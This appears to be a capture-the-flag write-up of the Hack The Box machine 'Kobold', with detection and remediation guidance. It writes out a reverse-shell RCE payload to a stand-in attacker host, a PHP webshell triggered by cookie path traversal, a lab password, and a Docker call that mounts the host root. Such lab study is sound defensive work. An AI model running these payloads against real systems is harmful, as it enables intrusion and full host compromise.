Skip to content
Back to all posts

HTB: Kobold

· 18 min medium Linux Kobold

An MCPJam Inspector RCE for initial access, PrivateBin template cookie LFI for container-level code execution, database password reuse across services, and a Docker management API that mounts the host root filesystem.

Overview

Kobold is a medium-rated Linux machine hosting three virtual hosts behind nginx with a wildcard TLS certificate: a static landing page (kobold.htb), a PrivateBin 2.0.2 instance (bin.kobold.htb), and an MCPJam Inspector 1.4.2 React SPA (mcp.kobold.htb). The attack chain exploits three distinct vulnerabilities across three services to progress from unauthenticated access to full root compromise.

Initial access is gained through CVE-2026-23744, an unauthenticated RCE in MCPJam Inspector’s /api/mcp/connect endpoint, which accepts arbitrary stdio server configurations and spawns local processes without validation. This yields a shell as user ben. From there, CVE-2025-64714 (PrivateBin template cookie LFI) is exploited by writing a PHP webshell into the PrivateBin data directory (writable by the operator group, of which ben is a member) and triggering its inclusion via the template cookie. This grants container-level RCE and access to the PrivateBin configuration, which contains a MySQL password reused on the Arcane Docker Manager running as root on port 3552.

The key lesson is service isolation. Three services that should have no relationship to each other are linked by shared group memberships and password reuse, creating a chain from unauthenticated web access to host root filesystem control.

Reconnaissance

nmap -sV -sC -A -T4 10.129.14.6
PortServiceProduct / VersionNotes
22SSHOpenSSH 9.6p1 UbuntuUbuntu 24.04
80HTTPnginx 1.24.0Redirects to HTTPS
443HTTPSnginx 1.24.0Wildcard cert: *.kobold.htb

The wildcard certificate indicates virtual host routing. Subdomain enumeration via standard wordlists failed (all responses returned 302 redirects). Manual investigation identified two subdomains:

  • bin.kobold.htb: PrivateBin 2.0.2 (paste service, Docker container)
  • mcp.kobold.htb: MCPJam Inspector 1.4.2 (React SPA)

The mcp subdomain was guessed after noticing MCP references in the landing page source and the prevalence of MCP tooling in HTB Season 10.

Attack Surface Analysis

MCPJam Inspector: unauthenticated process spawning

MCPJam Inspector 1.4.2 exposes an API endpoint at /api/mcp/connect that accepts JSON payloads specifying MCP server connection parameters. When the transport type is set to “stdio”, the server spawns a local process using the user-supplied command and args fields without any validation or allow-listing. This is CVE-2026-23744.

When templateselection is enabled in the PrivateBin configuration, the application reads a template cookie and includes the file at tpl/{cookie_value}.php. The cookie value is not sanitised for directory traversal sequences.

Arcane Docker Manager: unrestricted container creation

Arcane Docker Manager v1.13.0 runs as root on port 3552 bound to all interfaces. The container creation endpoint allows arbitrary hostConfig.binds specifications, including mounting the host root filesystem. No restrictions exist on bind mount paths.

Vulnerability Analysis

FindingCVECVSSCWEImpact
F-01CVE-2026-237449.8CWE-78Unauthenticated RCE as ben
F-02CVE-2025-647145.8CWE-98Container-level RCE via LFI
F-03N/A8.1CWE-522Password reuse grants Arcane admin
F-04N/A9.9CWE-250Host root filesystem mount via Docker

The attack chain is linear: each finding enables the next. F-01 provides host access as ben. F-02 uses ben’s group membership to write into the PrivateBin container’s data directory and trigger LFI. F-03 extracts a password from the container configuration that is reused on Arcane. F-04 uses Arcane to create a Docker container with the host root mounted.

Exploitation

Phase 1: MCPJam RCE (CVE-2026-23744)

curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"]
  }'
nc -lvnp 4444
# Connection from 10.129.14.6
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),1003(operator)

ben@kobold:~$ cat /home/ben/user.txt
# [flag redacted]

User flag captured. The operator group membership is the bridge to the next phase.

Phase 2: PrivateBin LFI (CVE-2025-64714)

The /privatebin-data/data/ directory on the host is writable by the operator group. Inside the PrivateBin container, this directory appears at /srv/data/. The PrivateBin tpl/ directory is at /srv/tpl/.

# Write webshell to a known path
ben@kobold:~$ mkdir -p /privatebin-data/data/bd/b5
ben@kobold:~$ echo '<?php system($_GET["cmd"]); ?>' > /privatebin-data/data/bd/b5/shell.php

Trigger the LFI via the template cookie:

curl -k -b "template=../../srv/data/bd/b5/shell" \
  "https://bin.kobold.htb/?cmd=id"
# uid=65534(nobody) gid=65534(nobody)

Read the PrivateBin configuration:

curl -k -b "template=../../srv/data/bd/b5/shell" \
  "https://bin.kobold.htb/?cmd=cat+/srv/cfg/conf.php"

# [model_options]
# dsn = "mysql:host=172.17.0.1;dbname=privatebin"
# usr = "privatebin"
# pwd = "ComplexP@sswordAdmin1928"

Phase 3: Arcane Docker Manager access via password reuse

The MySQL password ComplexP@sswordAdmin1928 works for the Arcane Docker Manager with username arcane:

curl -X POST http://10.129.14.6:3552/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"arcane","password":"ComplexP@sswordAdmin1928"}'
# {"jwt":"eyJhbGciOiJIUzI1NiIs..."}

Phase 4: host root filesystem via Docker container

curl -X POST http://10.129.14.6:3552/api/environments/0/containers \
  -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "image": "mysql:latest",
    "user": "root",
    "hostConfig": {"binds": ["/:/hostfs:rw"]},
    "entrypoint": ["sh", "-c"],
    "cmd": ["cat /hostfs/root/root.txt"]
  }'

Root flag obtained.

Post-Exploitation

Key observations from ben’s shell: no sudo privileges, no exploitable SUID binaries beyond standard defaults. The operator group grants write access to /privatebin-data/ (including data/ and certs/). Arcane runs as root and binds to all interfaces on port 3552. The Docker bridge network (172.17.0.0/16) hosts the PrivateBin container at 172.17.0.2.

The certs/ directory is also writable by the operator group. An attacker could replace the TLS certificate and key to perform man-in-the-middle attacks against HTTPS traffic to bin.kobold.htb.

User alice (uid 1002) is a member of the docker group. If credentials for alice were obtainable, direct Docker socket access would provide an alternative path to root without needing Arcane.

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190POST requests to /api/mcp/connect with unexpected commands
ExecutionT1059.004Child processes spawned by MCPJam (auditd on execve)
ExecutionT1505.003New .php files in PrivateBin data directory
Credential AccessT1552.001PrivateBin conf.php access from unexpected processes
Privilege EscalationT1078.001Arcane API login from non-administrative IPs
Privilege EscalationT1611Container creation with host filesystem bind mounts

For F-01 detection: alert on any command value in /api/mcp/connect requests that is not an expected MCP server binary. Alert on outbound TCP connections from the MCPJam process to non-standard destinations.

For F-04 detection: alert on container creation events with bind mounts to / or other sensitive host paths. Docker daemon audit logging captures these events natively.

Remediation

PriorityActionEffortImpact
P0Upgrade MCPJam Inspector to >= 1.4.3 (patches CVE-2026-23744)LowCritical
P0Upgrade PrivateBin to >= 2.0.3 (patches CVE-2025-64714)LowCritical
P0Change Arcane admin password to a unique credentialLowCritical
P0Bind Arcane to 127.0.0.1:3552 (not 0.0.0.0)LowCritical
P1Implement bind-mount restrictions in ArcaneMediumHigh
P1Run Arcane as a non-root userMediumHigh
P1Separate service accounts; remove shared group membershipsMediumHigh
P2Disable PrivateBin templateselectionLowMedium
P2Restrict MCPJam command allow-listMediumMedium
P3Deploy a secrets manager for service credentialsHighMedium

The Arcane Docker Manager finding is the most consequential. Any service that can create containers with arbitrary bind mounts is functionally equivalent to root access. Running Arcane as root and allowing unrestricted container creation eliminated all host security boundaries. The fix is straightforward: bind to localhost, restrict bind mount paths, and run as a non-root user.

Key Takeaways

  1. Service isolation matters. The operator group bridged the MCPJam and PrivateBin attack surfaces. User ben (MCPJam) could write to the PrivateBin data directory, turning a web application RCE into a container-level compromise. Each service should run under its own dedicated user with no shared group memberships.

  2. Password reuse collapses trust boundaries. The MySQL password in the PrivateBin container configuration was identical to the Arcane admin password. This single credential bridged three trust domains: the container, the Docker management plane, and the host root filesystem. A complex password does not help when it is reused across services.

  3. Docker management APIs are root-equivalent. Any API that can create containers with arbitrary bind mounts provides full host filesystem access. Running the management service as root, binding to all interfaces, and allowing unrestricted container creation is three independent failures that all lead to the same outcome.

  4. Internal services exposed externally are a recurring pattern. Arcane was bound to 0.0.0.0:3552 with no firewall rules. Management interfaces must be bound to localhost and accessed through SSH tunnels or VPNs. This is a basic network security control that prevents the majority of post-authentication exploitation scenarios.